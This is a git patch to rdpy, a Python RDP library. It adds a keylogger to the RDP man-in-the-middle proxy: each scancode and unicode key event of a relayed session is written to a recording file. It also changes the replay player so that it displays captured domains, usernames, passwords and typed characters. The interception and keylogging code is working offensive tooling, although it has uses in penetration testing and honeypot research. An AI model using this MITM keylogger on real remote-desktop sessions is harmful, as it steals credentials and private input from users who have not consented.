From 0a5a1fd12cd0ee4fa8ed6fb281256880964fb86b Mon Sep 17 00:00:00 2001 From: speyrefitte Date: Wed, 29 Apr 2015 12:13:24 +0200 Subject: [PATCH] add keylogger on rss player and file format --- bin/rdpy-rdpmitm.py | 2 ++ bin/rdpy-rssplayer.py | 46 ++++++++++++++++++++------ rdpy/core/rss.py | 46 +++++++++++++++++++++++++- rdpy/core/scancode.py | 60 ++++++++++++++++++++++++++++++++++ rdpy/protocol/rdp/pdu/layer.py | 7 ++-- 5 files changed, 148 insertions(+), 13 deletions(-) create mode 100644 rdpy/core/scancode.py diff --git a/bin/rdpy-rdpmitm.py b/bin/rdpy-rdpmitm.py index 1a5c1c6..801817e 100755 --- a/bin/rdpy-rdpmitm.py +++ b/bin/rdpy-rdpmitm.py @@ -102,6 +102,7 @@ class ProxyServer(rdp.RDPServerObserver): if self._client is None: return self._client._controller.sendKeyEventScancode(code, isPressed) + self._rss.keyScancode(code, isPressed) def onKeyEventUnicode(self, code, isPressed): """ @@ -113,6 +114,7 @@ class ProxyServer(rdp.RDPServerObserver): if self._client is None: return self._client._controller.sendKeyEventUnicode(code, isPressed) + self._rss.keyUnicode(code, isPressed) def onPointerEvent(self, x, y, button, isPressed): """ diff --git a/bin/rdpy-rssplayer.py b/bin/rdpy-rssplayer.py index 09daddb..82f26a7 100755 --- a/bin/rdpy-rssplayer.py +++ b/bin/rdpy-rssplayer.py @@ -27,6 +27,7 @@ from PyQt4 import QtGui, QtCore from rdpy.core import log, rss from rdpy.ui.qt4 import QRemoteDesktop, RDPBitmapToQtImage +from rdpy.core.scancode import scancodeToChar log._LOG_LEVEL = log.Level.INFO class RssPlayerWidget(QRemoteDesktop): @@ -45,9 +46,28 @@ class RssPlayerWidget(QRemoteDesktop): """ Not Handle """ QRemoteDesktop.__init__(self, width, height, RssAdaptor()) - def drawInfos(self, domain, username, password, hostname): - QtGui.QMessageBox.about(self, "Credentials Event", "domain : %s\nusername : %s\npassword : %s\nhostname : %s" % ( - domain, username, password, hostname)) +class RssPlayerWindow(QtGui.QWidget): + """ + @summary: main window of rss player + """ + def __init__(self): + super(RssPlayerWindow, self).__init__() + + self._viewer = RssPlayerWidget(800, 600) + self._text = QtGui.QTextEdit() + self._text.setReadOnly(True) + self._text.setFixedHeight(150) + + scrollViewer = QtGui.QScrollArea() + scrollViewer.setWidget(self._viewer) + + layout = QtGui.QVBoxLayout() + layout.addWidget(scrollViewer, 1) + layout.addWidget(self._text, 2) + + self.setLayout(layout) + + self.setGeometry(0, 0, 800, 600) def help(): print "Usage: rdpy-rssplayer [-h] rss_filepath" @@ -64,16 +84,20 @@ def loop(widget, rssFile, nextEvent): if nextEvent.type.value == rss.EventType.UPDATE: image = RDPBitmapToQtImage(nextEvent.event.width.value, nextEvent.event.height.value, nextEvent.event.bpp.value, nextEvent.event.format.value == rss.UpdateFormat.BMP, nextEvent.event.data.value); - widget.notifyImage(nextEvent.event.destLeft.value, nextEvent.event.destTop.value, image, nextEvent.event.destRight.value - nextEvent.event.destLeft.value + 1, nextEvent.event.destBottom.value - nextEvent.event.destTop.value + 1) + widget._viewer.notifyImage(nextEvent.event.destLeft.value, nextEvent.event.destTop.value, image, nextEvent.event.destRight.value - nextEvent.event.destLeft.value + 1, nextEvent.event.destBottom.value - nextEvent.event.destTop.value + 1) elif nextEvent.type.value == rss.EventType.SCREEN: - widget.resize(nextEvent.event.width.value, nextEvent.event.height.value) + widget._viewer.resize(nextEvent.event.width.value, nextEvent.event.height.value) elif nextEvent.type.value == rss.EventType.INFO: - widget.drawInfos(nextEvent.event.domain.value, nextEvent.event.username.value, nextEvent.event.password.value, nextEvent.event.hostname.value) + widget._text.append("Domain : %s\nUsername : %s\nPassword : %s\nHostname : %s\n" % ( + nextEvent.event.domain.value, nextEvent.event.username.value, nextEvent.event.password.value, nextEvent.event.hostname.value)) + elif nextEvent.type.value == rss.EventType.KEY_SCANCODE: + if nextEvent.event.isPressed.value == 0: + widget._text.moveCursor(QtGui.QTextCursor.End) + widget._text.insertPlainText(scancodeToChar(nextEvent.event.code.value)) elif nextEvent.type.value == rss.EventType.CLOSE: - widget.close() return e = rssFile.nextEvent() @@ -92,8 +116,10 @@ if __name__ == '__main__': filepath = args[0] #create application app = QtGui.QApplication(sys.argv) - widget = RssPlayerWidget(800, 600) - widget.show() + + mainWindow = RssPlayerWindow() + mainWindow.show() + rssFile = rss.createReader(filepath) - start(widget, rssFile) + start(mainWindow, rssFile) sys.exit(app.exec_()) \ No newline at end of file diff --git a/rdpy/core/rss.py b/rdpy/core/rss.py index cff2802..df1178f 100644 --- a/rdpy/core/rss.py +++ b/rdpy/core/rss.py @@ -34,6 +34,8 @@ class EventType(object): SCREEN = 0x0002 INFO = 0x0003 CLOSE = 0x0004 + KEY_UNICODE = 0x0005 + KEY_SCANCODE = 0x0006 class UpdateFormat(object): """ @@ -56,7 +58,7 @@ class Event(CompositeType): """ @summary: Closure for event factory """ - for c in [UpdateEvent, ScreenEvent, InfoEvent, CloseEvent]: + for c in [UpdateEvent, ScreenEvent, InfoEvent, CloseEvent, KeyEventScancode, KeyEventUnicode]: if self.type.value == c._TYPE_: return c(readLen = self.length) log.debug("unknown event type : %s"%hex(self.type.value)) @@ -123,6 +125,26 @@ class CloseEvent(CompositeType): def __init__(self, readLen = None): CompositeType.__init__(self, readLen = readLen) +class KeyEventUnicode(CompositeType): + """ + @summary: keyboard event (keylogger) as unicode event + """ + _TYPE_ = EventType.KEY_UNICODE + def __init__(self, readLen = None): + CompositeType.__init__(self, readLen = readLen) + self.code = UInt32Le() + self.isPressed = UInt8() + +class KeyEventScancode(CompositeType): + """ + @summary: keyboard event (keylogger) + """ + _TYPE_ = EventType.KEY_SCANCODE + def __init__(self, readLen = None): + CompositeType.__init__(self, readLen = readLen) + self.code = UInt32Le() + self.isPressed = UInt8() + def timeMs(): """ @return: {int} time stamp in milliseconds @@ -211,6 +233,28 @@ class FileRecorder(object): infoEvent.domain.value = domain infoEvent.hostname.value = hostname self.rec(infoEvent) + + def keyUnicode(self, code, isPressed): + """ + @summary: record key event as unicode + @param code: unicode code + @param isPressed: True if a key press event + """ + keyEvent = KeyEventUnicode() + keyEvent.code.value = code + keyEvent.isPressed.value = 0 if isPressed else 1 + self.rec(keyEvent) + + def keyScancode(self, code, isPressed): + """ + @summary: record key event as scancode + @param code: scancode code + @param isPressed: True if a key press event + """ + keyEvent = KeyEventScancode() + keyEvent.code.value = code + keyEvent.isPressed.value = 0 if isPressed else 1 + self.rec(keyEvent) def close(self): """ diff --git a/rdpy/core/scancode.py b/rdpy/core/scancode.py new file mode 100644 index 0000000..9920368 --- /dev/null +++ b/rdpy/core/scancode.py @@ -0,0 +1,60 @@ +# +# Copyright (c) 2014-2015 Sylvain Peyrefitte +# +# This file is part of rdpy. +# +# rdpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# + +""" +Basic virtual scancode mapping +""" + +_SCANCODE_QWERTY_ = { + 0x10 : "q", + 0x11 : "w", + 0x12 : "e", + 0x13 : "r", + 0x14 : "t", + 0x15 : "y", + 0x16 : "u", + 0x17 : "i", + 0x18 : "o", + 0x19 : "p", + 0x1e : "a", + 0x1f : "s", + 0x20 : "d", + 0x21 : "f", + 0x22 : "g", + 0x23 : "h", + 0x24 : "j", + 0x25 : "k", + 0x26 : "l", + 0x2c : "z", + 0x2d : "x", + 0x2e : "c", + 0x2f : "v", + 0x30 : "b", + 0x31 : "n", + 0x32 : "m" +} + +def scancodeToChar(code): + """ + @summary: try to convert native code to char code + @return: char + """ + if not _SCANCODE_QWERTY_.has_key(code): + return "" + return _SCANCODE_QWERTY_[code]; \ No newline at end of file diff --git a/rdpy/protocol/rdp/pdu/layer.py b/rdpy/protocol/rdp/pdu/layer.py index cbaf0ae..271a7d3 100644 --- a/rdpy/protocol/rdp/pdu/layer.py +++ b/rdpy/protocol/rdp/pdu/layer.py @@ -287,11 +287,14 @@ class Client(PDULayer): @param dataPDU: DataPDU object """ if dataPDU.shareDataHeader.pduType2.value == data.PDUType2.PDUTYPE2_SET_ERROR_INFO_PDU: + #ignore 0 error code because is not an error code + if dataPDU.pduData.errorInfo.value == 0: + return errorMessage = "Unknown code %s"%hex(dataPDU.pduData.errorInfo.value) if data.ErrorInfo._MESSAGES_.has_key(dataPDU.pduData.errorInfo): - errorMessage = data.ErrorInfo._MESSAGES_[dataPDU.pduData.errorInfo] - + errorMessage = data.ErrorInfo._MESSAGES_[dataPDU.pduData.errorInfo] log.error("INFO PDU : %s"%errorMessage) + elif dataPDU.shareDataHeader.pduType2.value == data.PDUType2.PDUTYPE2_SHUTDOWN_DENIED: #may be an event to ask to user self._transport.close()